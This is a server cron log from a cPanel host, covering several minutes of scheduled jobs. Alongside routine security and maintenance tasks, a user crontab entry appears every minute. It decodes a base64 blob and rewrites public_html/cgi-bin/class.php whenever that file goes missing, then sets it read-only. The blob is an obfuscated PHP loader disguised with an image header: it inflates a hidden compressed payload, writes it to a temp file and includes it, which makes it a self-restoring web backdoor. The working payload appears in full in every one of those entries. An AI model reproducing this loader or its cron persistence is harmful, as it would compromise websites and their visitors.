Sep  5 07:00:01 server CROND[27628]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 07:00:01 server CROND[27626]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 07:00:01 server CROND[27633]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 07:00:01 server CROND[27630]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 07:00:01 server CROND[27631]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 07:01:01 server CROND[28543]: (root) CMD (run-parts /etc/cron.hourly)
Sep  5 07:01:01 server CROND[28544]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 07:01:01 server CROND[28545]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 07:01:01 server CROND[28546]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 07:01:01 server run-parts(/etc/cron.hourly)[28543]: starting 0anacron
Sep  5 07:01:01 server run-parts(/etc/cron.hourly)[28564]: finished 0anacron
Sep  5 07:02:01 server CROND[29000]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 07:02:01 server CROND[29001]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 07:02:01 server CROND[29002]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 07:03:01 server CROND[29396]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 07:03:01 server CROND[29397]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 07:03:01 server CROND[29398]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 07:04:01 server CROND[29782]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 07:04:01 server CROND[29783]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 07:04:01 server CROND[29784]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 07:05:01 server CROND[30178]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 07:05:01 server CROND[30183]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 07:05:01 server CROND[30184]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 07:05:01 server CROND[30190]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 07:05:01 server CROND[30193]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 07:05:01 server CROND[30191]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 07:05:01 server CROND[30192]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 07:05:01 server CROND[30194]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 07:06:01 server CROND[31027]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 07:06:01 server CROND[31028]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 07:06:01 server CROND[31029]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 07:07:01 server CROND[31507]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 07:07:01 server CROND[31508]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 07:07:01 server CROND[31509]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 07:08:01 server CROND[31885]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 07:08:01 server CROND[31884]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 07:08:01 server CROND[31886]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 07:09:01 server CROND[32272]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  5 07:09:01 server CROND[32275]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 07:09:01 server CROND[32274]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 07:09:01 server CROND[32276]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 07:10:01 server CROND[32685]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 07:10:01 server CROND[32687]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 07:10:01 server CROND[32686]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 07:10:01 server CROND[32693]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 07:10:01 server CROND[32690]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 07:10:01 server CROND[32688]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 07:10:01 server CROND[32692]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 07:10:01 server CROND[32691]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 07:11:01 server CROND[1166]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 07:11:01 server CROND[1167]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 07:11:01 server CROND[1168]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
